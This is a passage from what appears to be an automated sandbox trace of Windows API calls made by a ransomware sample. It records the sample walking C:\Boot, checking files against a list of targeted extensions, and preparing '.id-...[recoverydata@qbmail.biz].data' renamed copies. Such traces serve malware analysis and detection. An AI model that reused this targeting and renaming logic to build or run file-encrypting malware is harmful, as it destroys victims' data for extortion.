Size=0x10000) returned 0x38d0070 [0073.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x38e0078 [0073.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024a0 [0073.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x6028d0 [0073.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024b8 [0073.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3cb0020 [0073.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024d0 [0073.996] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6024d0, Size=0x20) returned 0x6096d8 [0073.996] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6024d0 [0073.997] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x6024d0, Size=0x20) returned 0x609700 [0073.997] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.997] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.997] Wow64DisableWow64FsRedirection (in: OldValue=0x32cff58 | out: OldValue=0x32cff58*=0x0) returned 1 [0073.997] lstrlenW (lpString="kernel32.dll") returned 12 [0073.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6096d8 | out: hHeap=0x5b0000) returned 1 [0073.997] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0073.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x609700 | out: hHeap=0x5b0000) returned 1 [0073.997] Sleep (dwMilliseconds=0x64) [0074.269] lstrcmpiW (lpString1=".ttf", lpString2=".data") returned 1 [0074.269] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0074.269] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.960] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=47452) returned 1 [0074.960] CloseHandle (hObject=0x194) returned 1 [0074.960] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0074.961] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.961] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.961] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.961] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.961] lstrlenW (lpString=".doc") returned 4 [0074.961] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0074.961] lstrlenW (lpString=".docx") returned 5 [0074.961] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0074.961] lstrlenW (lpString=".pdf") returned 4 [0074.961] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0074.961] lstrlenW (lpString=".xls") returned 4 [0074.961] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0074.961] lstrlenW (lpString=".xlsx") returned 5 [0074.962] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0074.962] lstrlenW (lpString=".ppt") returned 4 [0074.962] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0074.962] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.962] lstrlenW (lpString=".zip") returned 4 [0074.962] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0074.962] lstrlenW (lpString=".rar") returned 4 [0074.962] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0074.962] lstrlenW (lpString=".bz2") returned 4 [0074.962] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0074.962] lstrlenW (lpString=".7z") returned 3 [0074.962] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0074.962] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.962] lstrlenW (lpString=".dbf") returned 4 [0074.962] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0074.962] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.962] lstrlenW (lpString=".1cd") returned 4 [0074.963] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0074.963] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.963] lstrlenW (lpString=".jpg") returned 4 [0074.963] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0074.963] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.963] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.963] lstrlenW (lpString=".doc") returned 4 [0074.963] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0074.963] lstrlenW (lpString=".docx") returned 5 [0074.963] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0074.963] lstrlenW (lpString=".pdf") returned 4 [0074.963] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0074.963] lstrlenW (lpString=".xls") returned 4 [0074.964] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0074.964] lstrlenW (lpString=".xlsx") returned 5 [0074.964] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0074.964] lstrlenW (lpString=".ppt") returned 4 [0074.964] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0074.964] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.964] lstrlenW (lpString=".zip") returned 4 [0074.964] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0074.964] lstrlenW (lpString=".rar") returned 4 [0074.964] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0074.964] lstrlenW (lpString=".bz2") returned 4 [0074.964] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0074.964] lstrlenW (lpString=".7z") returned 3 [0074.964] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0074.965] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.965] lstrlenW (lpString=".dbf") returned 4 [0074.965] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0074.965] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.965] lstrlenW (lpString=".1cd") returned 4 [0074.965] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0074.965] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0074.965] lstrlenW (lpString=".jpg") returned 4 [0074.965] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0074.966] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.966] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.966] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.966] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=88144) returned 1 [0074.966] CloseHandle (hObject=0x194) returned 1 [0074.966] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0074.967] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.967] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.967] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.967] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.967] lstrlenW (lpString=".doc") returned 4 [0074.967] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.967] lstrlenW (lpString=".docx") returned 5 [0074.967] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.967] lstrlenW (lpString=".pdf") returned 4 [0074.967] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.967] lstrlenW (lpString=".xls") returned 4 [0074.967] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.968] lstrlenW (lpString=".xlsx") returned 5 [0074.968] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.968] lstrlenW (lpString=".ppt") returned 4 [0074.968] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.968] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.968] lstrlenW (lpString=".zip") returned 4 [0074.968] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.968] lstrlenW (lpString=".rar") returned 4 [0074.968] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.968] lstrlenW (lpString=".bz2") returned 4 [0074.968] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.969] lstrlenW (lpString=".7z") returned 3 [0074.969] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.969] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.969] lstrlenW (lpString=".dbf") returned 4 [0074.969] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.969] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.969] lstrlenW (lpString=".1cd") returned 4 [0074.969] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.969] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.969] lstrlenW (lpString=".jpg") returned 4 [0074.969] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.969] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.969] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.969] lstrlenW (lpString=".doc") returned 4 [0074.969] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.969] lstrlenW (lpString=".docx") returned 5 [0074.969] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.970] lstrlenW (lpString=".pdf") returned 4 [0074.970] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.970] lstrlenW (lpString=".xls") returned 4 [0074.970] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.970] lstrlenW (lpString=".xlsx") returned 5 [0074.970] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.970] lstrlenW (lpString=".ppt") returned 4 [0074.970] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.970] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.970] lstrlenW (lpString=".zip") returned 4 [0074.970] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.970] lstrlenW (lpString=".rar") returned 4 [0074.970] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.970] lstrlenW (lpString=".bz2") returned 4 [0074.970] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.970] lstrlenW (lpString=".7z") returned 3 [0074.970] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.970] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.970] lstrlenW (lpString=".dbf") returned 4 [0074.970] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.970] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.970] lstrlenW (lpString=".1cd") returned 4 [0074.971] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.971] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0074.971] lstrlenW (lpString=".jpg") returned 4 [0074.971] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.971] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.971] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.971] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.972] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=90704) returned 1 [0074.972] CloseHandle (hObject=0x194) returned 1 [0074.972] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0074.972] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.972] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.972] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.972] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.972] lstrlenW (lpString=".doc") returned 4 [0074.972] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.972] lstrlenW (lpString=".docx") returned 5 [0074.972] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.972] lstrlenW (lpString=".pdf") returned 4 [0074.972] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.972] lstrlenW (lpString=".xls") returned 4 [0074.973] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.973] lstrlenW (lpString=".xlsx") returned 5 [0074.973] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.973] lstrlenW (lpString=".ppt") returned 4 [0074.973] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.973] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.973] lstrlenW (lpString=".zip") returned 4 [0074.973] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.973] lstrlenW (lpString=".rar") returned 4 [0074.973] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.973] lstrlenW (lpString=".bz2") returned 4 [0074.973] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.973] lstrlenW (lpString=".7z") returned 3 [0074.973] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.973] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.973] lstrlenW (lpString=".dbf") returned 4 [0074.973] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.973] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.974] lstrlenW (lpString=".1cd") returned 4 [0074.974] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.974] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.974] lstrlenW (lpString=".jpg") returned 4 [0074.974] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.974] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.974] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.974] lstrlenW (lpString=".doc") returned 4 [0074.974] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.974] lstrlenW (lpString=".docx") returned 5 [0074.974] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.974] lstrlenW (lpString=".pdf") returned 4 [0074.974] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.974] lstrlenW (lpString=".xls") returned 4 [0074.974] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.975] lstrlenW (lpString=".xlsx") returned 5 [0074.975] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.975] lstrlenW (lpString=".ppt") returned 4 [0074.975] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.975] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.975] lstrlenW (lpString=".zip") returned 4 [0074.975] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.975] lstrlenW (lpString=".rar") returned 4 [0074.975] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.975] lstrlenW (lpString=".bz2") returned 4 [0074.975] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.975] lstrlenW (lpString=".7z") returned 3 [0074.975] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.975] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.975] lstrlenW (lpString=".dbf") returned 4 [0074.975] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.975] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.975] lstrlenW (lpString=".1cd") returned 4 [0074.975] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.975] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0074.975] lstrlenW (lpString=".jpg") returned 4 [0074.975] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.976] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.976] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.976] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.976] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=90704) returned 1 [0074.976] CloseHandle (hObject=0x194) returned 1 [0074.976] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0074.976] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.976] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.977] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.977] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.977] lstrlenW (lpString=".doc") returned 4 [0074.977] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.977] lstrlenW (lpString=".docx") returned 5 [0074.977] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.977] lstrlenW (lpString=".pdf") returned 4 [0074.977] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.977] lstrlenW (lpString=".xls") returned 4 [0074.977] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.977] lstrlenW (lpString=".xlsx") returned 5 [0074.977] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.977] lstrlenW (lpString=".ppt") returned 4 [0074.977] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.977] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.977] lstrlenW (lpString=".zip") returned 4 [0074.977] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.977] lstrlenW (lpString=".rar") returned 4 [0074.977] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.977] lstrlenW (lpString=".bz2") returned 4 [0074.977] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.978] lstrlenW (lpString=".7z") returned 3 [0074.978] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.978] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.978] lstrlenW (lpString=".dbf") returned 4 [0074.978] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.978] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.978] lstrlenW (lpString=".1cd") returned 4 [0074.978] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.978] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.978] lstrlenW (lpString=".jpg") returned 4 [0074.978] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.978] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.978] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.978] lstrlenW (lpString=".doc") returned 4 [0074.978] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.978] lstrlenW (lpString=".docx") returned 5 [0074.978] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.978] lstrlenW (lpString=".pdf") returned 4 [0074.978] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.978] lstrlenW (lpString=".xls") returned 4 [0074.978] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.979] lstrlenW (lpString=".xlsx") returned 5 [0074.979] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.979] lstrlenW (lpString=".ppt") returned 4 [0074.979] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.979] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.979] lstrlenW (lpString=".zip") returned 4 [0074.979] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.979] lstrlenW (lpString=".rar") returned 4 [0074.979] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.979] lstrlenW (lpString=".bz2") returned 4 [0074.979] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.979] lstrlenW (lpString=".7z") returned 3 [0074.979] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.979] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.979] lstrlenW (lpString=".dbf") returned 4 [0074.979] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.979] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.979] lstrlenW (lpString=".1cd") returned 4 [0074.979] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.980] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0074.980] lstrlenW (lpString=".jpg") returned 4 [0074.980] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0074.980] lstrcmpiW (lpString1=".mui", lpString2=".data") returned 1 [0074.980] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0074.980] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0074.980] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=90176) returned 1 [0074.980] CloseHandle (hObject=0x194) returned 1 [0074.980] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0074.981] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0074.981] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.981] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.981] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.981] lstrlenW (lpString=".doc") returned 4 [0074.981] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0074.981] lstrlenW (lpString=".docx") returned 5 [0074.981] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0074.982] lstrlenW (lpString=".pdf") returned 4 [0074.982] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0074.982] lstrlenW (lpString=".xls") returned 4 [0074.982] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0074.982] lstrlenW (lpString=".xlsx") returned 5 [0074.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0074.982] lstrlenW (lpString=".ppt") returned 4 [0074.982] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0074.982] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.982] lstrlenW (lpString=".zip") returned 4 [0074.982] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0074.982] lstrlenW (lpString=".rar") returned 4 [0074.982] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0074.982] lstrlenW (lpString=".bz2") returned 4 [0074.982] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0074.983] lstrlenW (lpString=".7z") returned 3 [0074.983] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0074.983] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.983] lstrlenW (lpString=".dbf") returned 4 [0074.983] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0074.983] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.983] lstrlenW (lpString=".1cd") returned 4 [0074.983] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0074.983] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0074.983] lstrlenW (lpString=".jpg") returned 4 [0074.983] lstrcmpiW (lpString1=".jpg", lpString2=".mui") 